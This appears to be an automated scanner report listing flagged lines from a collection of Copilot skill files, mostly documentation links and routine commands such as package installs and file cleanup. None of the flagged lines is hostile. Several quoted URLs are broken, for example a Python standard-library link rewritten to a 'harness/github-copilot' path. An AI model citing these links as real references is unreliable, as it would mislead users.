- [technical-product-gtm source](https://github.com/beingsmit/technical-product-gtm) - Network accessline 152
- [Smit Patel](https://linkedin.com/in/smitkpatel)
harness/github-copilot/plugins/go-to-market/skills/gtm-board-and-investor-communication/SKILL.md
- Network accessline 8
license: "MIT" metadata: author: "Smit Patel (https://linkedin.com/in/smitkpatel)" - Network accessline 9
metadata: author: "Smit Patel (https://linkedin.com/in/smitkpatel)" source: "https://github.com/beingsmit/technical-product-gtm" - Network accessline 10
author: "Smit Patel (https://linkedin.com/in/smitkpatel)" - Network accessline 11
source: "https://github.com/beingsmit/technical-product-gtm" - Dangerous shell operationline 383
Exec (weekly) → Leadership (bi-weekly) → All-hands (monthly) → Team (ongoing) - Network accessline 429
- [ ] Follow-up owners and dates are explicit. ## References - [Smit Patel](https://linkedin.com/in/smitkpatel) - Network accessline 430
## References - [Smit Patel](https://linkedin.com/in/smitkpatel) - [technical-product-gtm](https://github.com/beingsmit/technical-product-gtm) - Network accessline 431
- [Smit Patel](https://linkedin.com/in/smitkpatel) - Network accessline 432
- [technical-product-gtm](https://github.com/beingsmit/technical-product-gtm)
harness/github-copilot/plugins/go-to-market/skills/gtm-developer-ecosystem/SKILL.md
- Network accessline 7
license: "MIT" metadata: author: "Smit Patel (https://linkedin.com/in/smitkpatel)" - Network accessline 8
metadata: author: "Smit Patel (https://linkedin.com/in/smitkpatel)" source: "https://github.com/beingsmit/technical-product-gtm" - Network accessline 9
author: "Smit Patel (https://linkedin.com/in/smitkpatel)" - Network accessline 10
source: "https://github.com/beingsmit/technical-product-gtm" - Network accessline 354
- [Smit Patel](https://linkedin.com/in/smitkpatel) - Network accessline 355
- [technical-product-gtm](https://github.com/beingsmit/technical-product-gtm)
harness/github-copilot/plugins/go-to-market/skills/gtm-enterprise-account-planning/SKILL.md
- Network accessline 5
license: "MIT" metadata: author: "Smit Patel (https://linkedin.com/in/smitkpatel)" - Network accessline 6
metadata: author: "Smit Patel (https://linkedin.com/in/smitkpatel)" source: "https://github.com/beingsmit/technical-product-gtm" - Network accessline 7
author: "Smit Patel (https://linkedin.com/in/smitkpatel)" - Network accessline 8
source: "https://github.com/beingsmit/technical-product-gtm" - Network accessline 241
- [technical-product-gtm source](https://github.com/beingsmit/technical-product-gtm) - Network accessline 242
- [Smit Patel](https://linkedin.com/in/smitkpatel)
harness/github-copilot/plugins/go-to-market/skills/gtm-enterprise-onboarding/SKILL.md
- Network accessline 7
license: "MIT" metadata: author: "Smit Patel (https://linkedin.com/in/smitkpatel)" - Network accessline 8
metadata: author: "Smit Patel (https://linkedin.com/in/smitkpatel)" source: "https://github.com/beingsmit/technical-product-gtm" - Network accessline 9
author: "Smit Patel (https://linkedin.com/in/smitkpatel)" - Network accessline 10
source: "https://github.com/beingsmit/technical-product-gtm" - Network accessline 437
- [ ] Red flags such as Week 4 ghosting, Week 5 pilot non-use, and Week 8-12 adoption decline have escalation actions. ## References - [Smit Patel](https://linkedin.com/in/smitkpatel) - Network accessline 438
## References - [Smit Patel](https://linkedin.com/in/smitkpatel) - [technical-product-gtm](https://github.com/beingsmit/technical-product-gtm) - Network accessline 439
- [Smit Patel](https://linkedin.com/in/smitkpatel) - Network accessline 440
- [technical-product-gtm](https://github.com/beingsmit/technical-product-gtm)
harness/github-copilot/plugins/go-to-market/skills/gtm-operating-cadence/SKILL.md
- Network accessline 5
license: "MIT" metadata: author: "Smit Patel (https://linkedin.com/in/smitkpatel)" - Network accessline 6
metadata: author: "Smit Patel (https://linkedin.com/in/smitkpatel)" source: "https://github.com/beingsmit/technical-product-gtm" - Network accessline 7
author: "Smit Patel (https://linkedin.com/in/smitkpatel)" - Network accessline 8
source: "https://github.com/beingsmit/technical-product-gtm" - Network accessline 258
- [technical-product-gtm source](https://github.com/beingsmit/technical-product-gtm) - Network accessline 259
- [Smit Patel](https://linkedin.com/in/smitkpatel)
harness/github-copilot/plugins/go-to-market/skills/gtm-partnership-architecture/SKILL.md
- Network accessline 5
license: MIT metadata: author: "Smit Patel (https://linkedin.com/in/smitkpatel)" - Network accessline 6
metadata: author: "Smit Patel (https://linkedin.com/in/smitkpatel)" source: "https://github.com/beingsmit/technical-product-gtm" - Network accessline 7
author: "Smit Patel (https://linkedin.com/in/smitkpatel)" - Network accessline 8
source: "https://github.com/beingsmit/technical-product-gtm" - Network accessline 156
- [Original technical product GTM source](https://github.com/beingsmit/technical-product-gtm) - Network accessline 157
- [Author profile](https://linkedin.com/in/smitkpatel)
harness/github-copilot/plugins/go-to-market/skills/gtm-positioning-strategy/SKILL.md
- Network accessline 5
license: MIT metadata: author: "Smit Patel (https://linkedin.com/in/smitkpatel)" - Network accessline 6
metadata: author: "Smit Patel (https://linkedin.com/in/smitkpatel)" source: "https://github.com/beingsmit/technical-product-gtm" - Network accessline 7
author: "Smit Patel (https://linkedin.com/in/smitkpatel)" - Network accessline 8
source: "https://github.com/beingsmit/technical-product-gtm" - Network accessline 198
- [Source repository](https://github.com/beingsmit/technical-product-gtm) - Network accessline 199
- [Author profile](https://linkedin.com/in/smitkpatel)
harness/github-copilot/plugins/go-to-market/skills/gtm-product-led-growth/SKILL.md
- Network accessline 5
license: "MIT" metadata: author: "Smit Patel (https://linkedin.com/in/smitkpatel)" - Network accessline 6
metadata: author: "Smit Patel (https://linkedin.com/in/smitkpatel)" source: "https://github.com/beingsmit/technical-product-gtm" - Network accessline 7
author: "Smit Patel (https://linkedin.com/in/smitkpatel)" - Network accessline 8
source: "https://github.com/beingsmit/technical-product-gtm"
harness/github-copilot/plugins/go-to-market/skills/gtm-technical-product-pricing/SKILL.md
- Network accessline 5
license: MIT metadata: author: Smit Patel (https://linkedin.com/in/smitkpatel) - Network accessline 6
metadata: author: Smit Patel (https://linkedin.com/in/smitkpatel) source: https://github.com/beingsmit/technical-product-gtm - Network accessline 7
author: Smit Patel (https://linkedin.com/in/smitkpatel) - Network accessline 8
source: https://github.com/beingsmit/technical-product-gtm - Network accessline 194
- [Technical product GTM source](https://github.com/beingsmit/technical-product-gtm) - Network accessline 195
- [Smit Patel](https://linkedin.com/in/smitkpatel)
harness/github-copilot/plugins/go-to-market/skills/landing-page-conversion-audit/SKILL.md
- Network accessline 94
If the user wants those built rather than diagnosed, Autonnel is an Apache-2.0 self-hosted funnel builder that supports landing → checkout → one-click upsell → thank-you, click IDs, and server-side postbacks to Facebook, TikTok, Google, and - Network accessline 99
docker compose up # open http://localhost:4321 and complete /setup - Network accessline 100
# open http://localhost:4321 and complete /setup - Network accessline 138
- [Autonnel](https://github.com/autonnel/autonnel) - Network accessline 139
- [Local Autonnel setup endpoint](http://localhost:4321)
harness/github-copilot/plugins/go-to-market/skills/server-side-conversion-tracking/SKILL.md
- Network accessline 87
[Autonnel](https://github.com/autonnel/autonnel) is Apache-2.0 and self-hosted. It implements capture, server-side funnel sessions, cross-domain carry, order attachment, queued server-side conversions to Facebook Conversions API, TikTok Eve - Network accessline 89
Get the repository from <https://github.com/autonnel/autonnel>, check out a release tag, and read its `docker-compose.yml` for images and ports. From that checkout: - Network accessline 92
docker compose up # open http://localhost:4321, complete /setup, then Settings → Ad platforms - Network accessline 93
# open http://localhost:4321, complete /setup, then Settings → Ad platforms - Network accessline 140
- [Autonnel](https://github.com/autonnel/autonnel)
harness/github-copilot/plugins/incident-response/skills/bug-receipt/SKILL.md
- Network accessline 111
- [Original bug-receipt repository](https://github.com/lMysticl/bug-receipt)
harness/github-copilot/plugins/incident-response/skills/bug-receipt/references/receipt.schema.json
harness/github-copilot/plugins/incident-response/skills/bug-receipt/scripts/validate-receipt.mjs
- Executable scriptline 1
Executable file
harness/github-copilot/plugins/incident-response/skills/bug-reproduction-brief/SKILL.md
- Network accessline 111
- [AI agent skill preview workflow](https://github.com/skyestrela/ai-agent-skill-preview.)
harness/github-copilot/plugins/incident-response/skills/impediment-prioritization/SKILL.md
- Network accessline 89
| Rank | Impediment | Countermeasure | ROI | Cost | Ease | Risk | Priority | Rationale | | --- | --- | --- | --- | --- | --- | --- | --- | --- | | 1 | 2FA not enforced at org level | Enforce org-wide 2FA ([docs](https://docs.github.com/en/o - Network accessline 90
| --- | --- | --- | --- | --- | --- | --- | --- | --- | | 1 | 2FA not enforced at org level | Enforce org-wide 2FA ([docs](https://docs.github.com/en/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your - Network accessline 91
| 1 | 2FA not enforced at org level | Enforce org-wide 2FA ([docs](https://docs.github.com/en/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your-organization/requiring-two-factor-authentication-in-you - Network accessline 92
| 2 | Secret scanning disabled | Enable secret scanning + push protection org-wide ([docs](https://docs.github.com/en/code-security/secret-scanning/about-secret-scanning)) | 8 | 3 | 7 | 3 | 25.0 | ROI: catches leaked creds pre-merge<br>Cost - Network accessline 93
| 3 | No CODEOWNERS on critical repos | Add CODEOWNERS to top-20 repos ([docs](https://docs.github.com/en/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners)) | 6 | 4 | 6 | 4 | 15.0 | - Network accessline 144
- [GitHub 2FA organization enforcement](https://docs.github.com/en/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your-organization/requiring-two-factor-authentication-in-your-organization) - Network accessline 145
- [GitHub secret scanning](https://docs.github.com/en/code-security/secret-scanning/about-secret-scanning) - Network accessline 146
- [GitHub CODEOWNERS](https://docs.github.com/en/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners)
harness/github-copilot/plugins/iot-embedded-systems/skills/arduino-azure-iot-edge-integration/SKILL.md
- Network accessline 23
- https://learn.microsoft.com/azure/iot-edge/ - Network accessline 27
- https://docs.arduino.cc/learn/starting-guide/getting-started-arduino/ - Network accessline 28
- https://docs.arduino.cc/ - Network accessline 29
- https://docs.arduino.cc/language-reference/ - Network accessline 130
- [Azure IoT Edge](https://learn.microsoft.com/azure/iot-edge/) - Network accessline 131
- [Arduino getting started](https://docs.arduino.cc/learn/starting-guide/getting-started-arduino/) - Network accessline 132
- [Arduino documentation](https://docs.arduino.cc/) - Network accessline 133
- [Arduino language reference](https://docs.arduino.cc/language-reference/)
harness/github-copilot/plugins/iot-embedded-systems/skills/arduino-azure-iot-edge-integration/references/arduino-iot-checklist.md
harness/github-copilot/plugins/iot-embedded-systems/skills/arduino-azure-iot-edge-integration/references/arduino-official-best-practices.md
- Network accessline 7
- Arduino main guide: <https://docs.arduino.cc/learn/starting-guide/getting-started-arduino/> - Network accessline 8
- Arduino docs home: <https://docs.arduino.cc/> - Network accessline 9
- Getting started path: <https://docs.arduino.cc/learn/starting-guide/getting-started-arduino/> - Network accessline 10
- Arduino IDE usage: <https://docs.arduino.cc/learn/starting-guide/the-arduino-software-ide/> - Network accessline 11
- Arduino language reference: <https://docs.arduino.cc/language-reference/> - Network accessline 12
- Arduino programming reference overview: <https://docs.arduino.cc/learn/programming/reference/> - Network accessline 13
- Arduino memory guide: <https://docs.arduino.cc/learn/programming/memory-guide/> - Network accessline 14
- Arduino debugging fundamentals: <https://docs.arduino.cc/learn/microcontrollers/debugging/> - Network accessline 15
- Arduino low-power design guide: <https://docs.arduino.cc/learn/electronics/low-power/> - Network accessline 16
- Arduino communication protocols index: <https://docs.arduino.cc/learn/communication/uart/> - Network accessline 17
- Arduino style guide for libraries: <https://docs.arduino.cc/learn/contributions/arduino-library-style-guide/>
harness/github-copilot/plugins/iot-embedded-systems/skills/azure-smart-city-iot-solution-builder/SKILL.md
harness/github-copilot/plugins/iot-embedded-systems/skills/legacy-circuit-mockups/references/28256-eeprom.md
- Network accessline 185
* <https://www.utmel.com/components/at28bv256-eeproms-pinout-equivalent-and-datasheet?id=1019> - Network accessline 186
* <https://www.futurlec.com/Memory/28C256.shtml> - Network accessline 187
* <https://ww1.microchip.com/downloads/en/DeviceDoc/doc0006.pdf> - Network accessline 188
* <https://bread80.com/2020/08/10/the-ben-eater-eeprom-programmer-28c256-and-software-data-protection/>
harness/github-copilot/plugins/iot-embedded-systems/skills/legacy-circuit-mockups/references/555.md
- Network accessline 3
[www.fairchildsemi.com](https://www.fairchildsemi.com)
harness/github-copilot/plugins/iot-embedded-systems/skills/legacy-circuit-mockups/references/6502.md
- Network accessline 210
* <https://syncopate.us/books/Synertek6502ProgrammingManual.html> - Network accessline 211
* <https://en.wikipedia.org/wiki/MOS_Technology_6502> - Network accessline 212
* <https://web.archive.org/web/20061114024257/http://www.westerndesigncenter.com/wdc/documentation/Programmanual.pdf> - Network accessline 213
* Tutorial excerpts from <https://wilsonminesco.com/6502primer/> - Network accessline 214
* <https://wilsonminesco.com/6502primer/LogicFamilies.html> - Network accessline 215
* <https://wilsonminesco.com/6502primer/ClkGen.html> - Network accessline 216
* <https://wilsonminesco.com/6502primer/RSTreqs.html> - Network accessline 217
* <https://wilsonminesco.com/6502primer/displays.html> - Network accessline 218
* <https://wilsonminesco.com/6502primer/debug.html> - Network accessline 219
* <https://wilsonminesco.com/6502primer/potpourri.html>
harness/github-copilot/plugins/iot-embedded-systems/skills/legacy-circuit-mockups/references/6522.md
harness/github-copilot/plugins/iot-embedded-systems/skills/legacy-circuit-mockups/references/6C62256.md
harness/github-copilot/plugins/iot-embedded-systems/skills/legacy-circuit-mockups/references/7400-series.md
harness/github-copilot/plugins/iot-embedded-systems/skills/legacy-circuit-mockups/references/assembly-compiler.md
- Network accessline 248
* [MOS 6502 Programming Manual](http://archive.6502.org/datasheets/synertek_programming_manual.pdf) - Network accessline 249
* [MOS 6522 VIA Datasheet](http://archive.6502.org/datasheets/mos_6522_preliminary_nov_1977.pdf) - Network accessline 250
* [AT28C256 Datasheet](https://ww1.microchip.com/downloads/aemDocuments/documents/MPD/ProductDocuments/DataSheets/AT28C256-Industrial-Grade-256-Kbit-Paged-Parallel-EEPROM-Data-Sheet-DS20006386.pdf) - Network accessline 251
* [HD44780 LCD Datasheet](https://www.futurlec.com/LED/LCD16X2BLa.shtml) - Network accessline 252
* [cc65 Toolchain Docs](https://cc65.github.io/doc/cc65.html)
harness/github-copilot/plugins/iot-embedded-systems/skills/legacy-circuit-mockups/references/assembly-language.md
- Network accessline 217
* [https://www.masswerk.at/6502/6502_instruction_set.html](https://www.masswerk.at/6502/6502_instruction_set.html) - Network accessline 218
* [https://www.nesdev.org/wiki/6502](https://www.nesdev.org/wiki/6502) - Network accessline 219
* [https://www.westerndesigncenter.com/wdc/documentation](https://www.westerndesigncenter.com/wdc/documentation) - Network accessline 220
* [https://en.wikipedia.org/wiki/MOS_Technology_6502](https://en.wikipedia.org/wiki/MOS_Technology_6502)
harness/github-copilot/plugins/iot-embedded-systems/skills/legacy-circuit-mockups/references/breadboard.md
- Network accessline 206
* [https://en.wikipedia.org/wiki/Breadboard](https://en.wikipedia.org/wiki/Breadboard) - Network accessline 207
* [https://learn.sparkfun.com/tutorials/how-to-use-a-breadboard](https://learn.sparkfun.com/tutorials/how-to-use-a-breadboard) - Network accessline 208
* [https://learn.adafruit.com/breadboards-for-beginners](https://learn.adafruit.com/breadboards-for-beginners)
harness/github-copilot/plugins/iot-embedded-systems/skills/legacy-circuit-mockups/references/common-breadboard-components.md
- Network accessline 50
* [https://en.wikipedia.org/wiki/Resistor](https://en.wikipedia.org/wiki/Resistor) - Network accessline 88
* [https://en.wikipedia.org/wiki/Capacitor](https://en.wikipedia.org/wiki/Capacitor) - Network accessline 112
* [https://en.wikipedia.org/wiki/Inductor](https://en.wikipedia.org/wiki/Inductor) - Network accessline 140
* [https://en.wikipedia.org/wiki/Diode](https://en.wikipedia.org/wiki/Diode) - Network accessline 164
* [https://en.wikipedia.org/wiki/Light-emitting_diode](https://en.wikipedia.org/wiki/Light-emitting_diode) - Network accessline 190
* [https://en.wikipedia.org/wiki/Transistor](https://en.wikipedia.org/wiki/Transistor) - Network accessline 209
* [https://en.wikipedia.org/wiki/Integrated_circuit](https://en.wikipedia.org/wiki/Integrated_circuit) - Network accessline 244
* [https://en.wikipedia.org/wiki/Breadboard](https://en.wikipedia.org/wiki/Breadboard) - Network accessline 273
* [https://learn.sparkfun.com](https://learn.sparkfun.com) - Network accessline 274
* [https://www.allaboutcircuits.com](https://www.allaboutcircuits.com) - Network accessline 275
* [https://www.electronics-tutorials.ws](https://www.electronics-tutorials.ws) - Network accessline 276
* [https://en.wikipedia.org/wiki/Electronics](https://en.wikipedia.org/wiki/Electronics)
harness/github-copilot/plugins/iot-embedded-systems/skills/legacy-circuit-mockups/references/emulator-28256-eeprom.md
- Network accessline 231
* [AT28C256 Datasheet (Microchip)](https://ww1.microchip.com/downloads/aemDocuments/documents/MPD/ProductDocuments/DataSheets/AT28C256-Industrial-Grade-256-Kbit-Paged-Parallel-EEPROM-Data-Sheet-DS20006386.pdf) - Network accessline 232
* [Ben Eater 6502 Computer Series](https://eater.net/6502) - Network accessline 233
* <https://www.youtube.com/watch?v=oO8_2JJV0B4> - Network accessline 234
* [6502.org Memory Mapping Notes](https://6502.co.uk/lesson/memory-map)
harness/github-copilot/plugins/iot-embedded-systems/skills/legacy-circuit-mockups/references/emulator-6502.md
- Network accessline 242
* [https://www.masswerk.at/6502/6502_instruction_set.html](https://www.masswerk.at/6502/6502_instruction_set.html) - Network accessline 243
* [https://www.nesdev.org/wiki/6502](https://www.nesdev.org/wiki/6502) - Network accessline 244
* [https://github.com/Klaus2m5/6502_65C02_functional_tests](https://github.com/Klaus2m5/6502_65C02_functional_tests) - Network accessline 245
* [https://en.wikipedia.org/wiki/MOS_Technology_6502](https://en.wikipedia.org/wiki/MOS_Technology_6502)
harness/github-copilot/plugins/iot-embedded-systems/skills/legacy-circuit-mockups/references/emulator-6522.md
- Network accessline 280
* [https://www.westerndesigncenter.com/wdc/documentation](https://www.westerndesigncenter.com/wdc/documentation) - Network accessline 281
* [https://www.princeton.edu/~mae412/HANDOUTS/Datasheets/6522.pdf](https://www.princeton.edu/~mae412/HANDOUTS/Datasheets/6522.pdf) - Network accessline 282
* [https://www.nesdev.org/wiki/6522](https://www.nesdev.org/wiki/6522)
harness/github-copilot/plugins/iot-embedded-systems/skills/legacy-circuit-mockups/references/emulator-6C62256.md
harness/github-copilot/plugins/iot-embedded-systems/skills/legacy-circuit-mockups/references/emulator-lcd.md
- Network accessline 252
* [HD44780U Datasheet (Hitachi)](https://academy.cba.mit.edu/classes/output_devices/44780.pdf) - Network accessline 253
* [Ben Eater LCD Interface Notes](https://hackaday.io/project/174128-db6502/log/181838-adventures-with-hd44780-lcd-controller) - Network accessline 254
* [Ben Eater's 6502 Computer](https://github.com/tedkotz/be6502) - Network accessline 255
* [Build a 6502 Computer](https://eater.net/6502)
harness/github-copilot/plugins/iot-embedded-systems/skills/legacy-circuit-mockups/references/lcd.md
- Network accessline 204
* <https://static6.arrow.com/aropdfconversion/1f68489996f057bb6611f71d5fdb5f60f44faa72/pgurl_58439499065092.pdf> - Network accessline 205
* <https://cdn.sparkfun.com/assets/9/5/f/7/b/HD44780.pdf> - Network accessline 206
* <https://predictabledesigns.com/introduction-embedded-electronic-displays/>
harness/github-copilot/plugins/iot-embedded-systems/skills/legacy-circuit-mockups/references/minipro.md
- Dangerous shell operationline 47
sudo apt install minipro - Network accessline 53
git clone https://github.com/vdudouyt/minipro.git - Dangerous shell operationline 55
sudo make install - Network accessline 205
* <https://gitlab.com/DavidGriffith/minipro> - Network accessline 206
* <https://www.hadex.cz/spec/m545b.pdf> - Network accessline 207
* <https://github.com/mikeroyal/Firmware-Guide> - Network accessline 208
* <https://mike42.me/blog/2021-08-a-first-look-at-programmable-logic> - Network accessline 209
* <https://retrocomputingforum.com/>
harness/github-copilot/plugins/iot-embedded-systems/skills/legacy-circuit-mockups/references/t48eeprom-programmer.md
harness/github-copilot/plugins/iot-embedded-systems/skills/python-azure-iot-edge-modules/SKILL.md
- Network accessline 23
- https://learn.microsoft.com/azure/iot-edge/ - Network accessline 24
- https://learn.microsoft.com/es-es/azure/iot-edge/ - Network accessline 28
- https://www.python.org/ - Network accessline 29
- https://docs.python.org/3/ - Network accessline 30
- https://docs.python.org/3/reference/ - Network accessline 31
- https://docs.python.org/3/harness/github-copilot/ - Network accessline 134
- [Azure IoT Edge](https://learn.microsoft.com/azure/iot-edge/) - Network accessline 135
- [Azure IoT Edge Spanish documentation](https://learn.microsoft.com/es-es/azure/iot-edge/) - Network accessline 136
- [Python](https://www.python.org/) - Network accessline 137
- [Python 3 documentation](https://docs.python.org/3/) - Network accessline 138
- [Python language reference](https://docs.python.org/3/reference/) - Network accessline 139
- [Python standard library](https://docs.python.org/3/harness/github-copilot/)
harness/github-copilot/plugins/iot-embedded-systems/skills/python-azure-iot-edge-modules/references/python-edge-module-template.md
harness/github-copilot/plugins/iot-embedded-systems/skills/python-azure-iot-edge-modules/references/python-official-best-practices.md
- Network accessline 7
- Python home: <https://www.python.org/> - Network accessline 8
- Python documentation portal: <https://docs.python.org/3/> - Network accessline 9
- Python tutorial: <https://docs.python.org/3/tutorial/> - Network accessline 10
- Python language reference: <https://docs.python.org/3/reference/> - Network accessline 11
- Python standard library reference: <https://docs.python.org/3/harness/github-copilot/> - Network accessline 12
- Python HOWTOs: <https://docs.python.org/3/howto/> - Network accessline 13
- Installing modules: <https://docs.python.org/3/installing/> - Network accessline 14
- Distributing modules: <https://docs.python.org/3/distributing/> - Network accessline 15
- PEP index: <https://peps.python.org/> - Network accessline 16
- PyPA packaging guide: <https://packaging.python.org/>
harness/github-copilot/plugins/java-development/skills/create-spring-boot-java-project/SKILL.md
- Network accessline 36
curl https://start.spring.io/starter.zip -d artifactId=${input:projectName:demo-java} -d bootVersion=3.4.5 -d dependencies=lombok,configuration-processor,web,data-jpa,postgresql,data-redis,data-mongodb,validation,cache,testcontainers - Dangerous shell operationline 43
rm -f starter.zip - Dangerous shell operationline 107
docker-compose rm -sf - Dangerous shell operationline 110
The optional run commands are `docker-compose up -d`, `./mvnw spring-boot:run`, and `docker-compose rm -sf`.
harness/github-copilot/plugins/java-kotlin-development/skills/create-spring-boot-kotlin-project/SKILL.md
- Network accessline 27
1. Check Java with `java -version`. 2. Download the Spring Initializr archive from https://start.spring.io/starter.zip . - Network accessline 28
2. Download the Spring Initializr archive from https://start.spring.io/starter.zip . - Dangerous shell operationline 30
4. Remove `starter.zip` after extraction with `rm -f starter.zip`. - Network accessline 39
curl https://start.spring.io/starter.zip \ - Dangerous shell operationline 50
rm -f starter.zip - Dangerous shell operationline 116
docker-compose rm -sf - Dangerous shell operationline 129
The original `download-spring-boot-project-template` anchor maps to the Spring Initializr request in this skill. Preserve local service paths exactly: `./redis_data` maps to `/data`, `./postgres_data` maps to `/var/lib/postgresql/data`, and
harness/github-copilot/plugins/java-kotlin-development/skills/java-add-graalvm-native-image-support/SKILL.md
- Network accessline 450
- [ ] The native executable was started and critical paths were tested after a successful build. ## References - [GraalVM Native Image Documentation](https://www.graalvm.org/latest/reference-manual/native-image/) - Network accessline 451
## References - [GraalVM Native Image Documentation](https://www.graalvm.org/latest/reference-manual/native-image/) - [Spring Boot Native Image Guide](https://docs.spring.io/spring-boot/docs/current/reference/html/native-image.html) - Network accessline 452
- [GraalVM Native Image Documentation](https://www.graalvm.org/latest/reference-manual/native-image/) - Network accessline 453
- [Spring Boot Native Image Guide](https://docs.spring.io/spring-boot/docs/current/reference/html/native-image.html) - Network accessline 454
- [Quarkus Building Native Images](https://quarkus.io/guides/building-native-image) - Network accessline 455
- [Micronaut GraalVM Support](https://docs.micronaut.io/latest/guide/index.html#graal) - Network accessline 456
- [GraalVM Reachability Metadata](https://github.com/oracle/graalvm-reachability-metadata) - Network accessline 457
- [Native Build Tools](https://graalvm.github.io/native-build-tools/latest/index.html)
harness/github-copilot/plugins/java-kotlin-development/skills/javax-to-jakarta-migration/SKILL.md
- Network accessline 70
| `pom.xml` | `javax.validation:validation-api` | `jakarta.validation:jakarta.validation-api:3.0.2` | | `pom.xml` | `javax.annotation:javax.annotation-api` | `jakarta.annotation:jakarta.annotation-api:2.1.1` | | `web.xml` | `http://xmlns.jc - Network accessline 72
| `web.xml` | `http://xmlns.jcp.org/xml/ns/javaee` with `version="4.0"` on the `web-app` descriptor | `https://jakarta.ee/xml/ns/jakartaee` with `version="6.0"` on the `web-app` descriptor | - Network accessline 116
- [ ] Every migrated package appears in the migration map and no keep-list package was changed. - [ ] Maven or Gradle dependencies match the Jakarta APIs used by source code. - [ ] `web.xml` uses `https://jakarta.ee/xml/ns/jakartaee` and `v - Network accessline 117
- [ ] Maven or Gradle dependencies match the Jakarta APIs used by source code. - [ ] `web.xml` uses `https://jakarta.ee/xml/ns/jakartaee` and `version="6.0"` when present and required. - [ ] `mvn clean compile`, `./gradlew build`, or the re - Network accessline 118
- [ ] `web.xml` uses `https://jakarta.ee/xml/ns/jakartaee` and `version="6.0"` when present and required. - Network accessline 124
- [Legacy Java EE web.xml namespace](http://xmlns.jcp.org/xml/ns/javaee) - Network accessline 125
- [Jakarta EE XML namespace](https://jakarta.ee/xml/ns/jakartaee)
harness/github-copilot/plugins/java-kotlin-development/skills/spring-boot-testing/references/instancio.md
harness/github-copilot/plugins/java-kotlin-development/skills/spring-boot-testing/references/restclienttest.md
- Network accessline 40
void shouldFetchWeather() { // Given server.expect(requestTo("https://api.weather.com/v1/current")) - Network accessline 41
// Given server.expect(requestTo("https://api.weather.com/v1/current")) .andExpect(method(HttpMethod.GET)) - Network accessline 42
server.expect(requestTo("https://api.weather.com/v1/current")) - Network accessline 71
@Test void shouldFetchWeatherWithRestClient() { server.expect(requestTo("https://api.weather.com/v1/current")) - Network accessline 72
void shouldFetchWeatherWithRestClient() { server.expect(requestTo("https://api.weather.com/v1/current")) .andRespond(withSuccess() - Network accessline 73
server.expect(requestTo("https://api.weather.com/v1/current")) - Network accessline 89
server.expect(requestTo("https://api.example.com/users/1")) - Network accessline 96
server.expect(requestTo(matchesPattern("https://api.example.com/users/\\d+"))) - Network accessline 103
server.expect(ExpectedCount.once(), requestTo("https://api.example.com/users")) - Network accessline 104
requestTo("https://api.example.com/users")) - Network accessline 112
server.expect(requestTo("https://api.example.com/users")) - Network accessline 121
server.expect(requestTo("https://api.example.com/users")) - Network accessline 173
void shouldCallApi() { server.expect(ExpectedCount.once(), requestTo("https://api.example.com/data")) - Network accessline 174
server.expect(ExpectedCount.once(), requestTo("https://api.example.com/data")) .andRespond(withSuccess()); - Network accessline 175
requestTo("https://api.example.com/data"))
harness/github-copilot/plugins/java-mcp-development/skills/java-mcp-server-generator/SKILL.md
- Network accessline 58
<?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/" - Network accessline 59
<project xmlns="http://maven.apache.org/" - Network accessline 60
"POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 - Network accessline 61
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - Network accessline 62
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 - Network accessline 63
https://maven.apache.org/xsd/maven-4.0.0.xsd">
harness/github-copilot/plugins/learning-and-mentoring/skills/mentoring-juniors/SKILL.md
harness/github-copilot/plugins/linux-operations/skills/debian-linux-triage/SKILL.md
- Dangerous shell operationline 26
| Package state | `apt-cache policy <package>`; `dpkg -l | grep '^..r'`; `sudo dpkg --audit` | Finds held, half-configured, removed-but-configured, and dependency-broken packages. | - Dangerous shell operationline 39
| Apt failure | `sudo apt update`; `sudo apt -f install`; `sudo dpkg --configure -a` after reading the error | Repository mismatch, held package, interrupted configure step. | - Dangerous shell operationline 49
| Interrupted package configuration | `sudo dpkg --configure -a`, then `sudo apt -f install` if dependencies remain broken. | Removing `/var/lib/dpkg/` metadata. | - Dangerous shell operationline 50
| Wrong or missing package | `sudo apt install --reinstall <package>` after checking `apt-cache policy`. | Installing random `.deb` files without source and dependency review. | - Dangerous shell operationline 51
| Held package blocks upgrade | `apt-mark showhold`; unhold only the intended package with `sudo apt-mark unhold <package>`. | Blanket unhold of all packages. |
harness/github-copilot/plugins/mainframe-cobol-db2-classic/skills/modernization-workspace-kit/scripts/install_workspace_kit.py
harness/github-copilot/plugins/mainframe-cobol-db2-classic/skills/modernization-workspace-kit/scripts/test_install_workspace_kit.py
harness/github-copilot/plugins/mainframe-cobol-db2-classic/skills/sdd-requirements-engineer/references/ears-notation.md
- Network accessline 103
- Alistair Mavin, [EARS overview and pattern definitions](https://alistairmavin.com/ears/), reviewed 2026-08-25. - Network accessline 104
- A. Mavin, P. Wilkinson, A. Harwood, and M. Novak, "Easy Approach to Requirements Syntax (EARS)," *17th IEEE International Requirements Engineering Conference*, 2009, pp. 317-322, [doi:10.1109/RE.2009.9](https://doi.org/10.1109/RE.2009.9). - Network accessline 105
- University of Manchester Research Explorer, [bibliographic record for "Easy Approach to Requirements Syntax (EARS)"](https://research.manchester.ac.uk/en/publications/easy-approach-to-requirements-syntax-ears/), reviewed 2026-08-25.
harness/github-copilot/plugins/mainframe-cobol-db2/skills/cobol-db2-loop/scripts/cobol_db2_graph.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/github-copilot/plugins/mainframe-cobol-db2/skills/cobol-db2-loop/scripts/test_cobol_db2_graph.py
- Executable scriptline 1
Executable file
harness/github-copilot/plugins/mainframe-cobol-db2/skills/modernization-workspace-kit/scripts/install_workspace_kit.py
harness/github-copilot/plugins/mainframe-cobol-db2/skills/modernization-workspace-kit/scripts/test_install_workspace_kit.py
harness/github-copilot/plugins/mainframe-cobol-db2/skills/sdd-requirements-engineer/references/ears-notation.md
- Network accessline 103
- Alistair Mavin, [EARS overview and pattern definitions](https://alistairmavin.com/ears/), reviewed 2026-08-25. - Network accessline 104
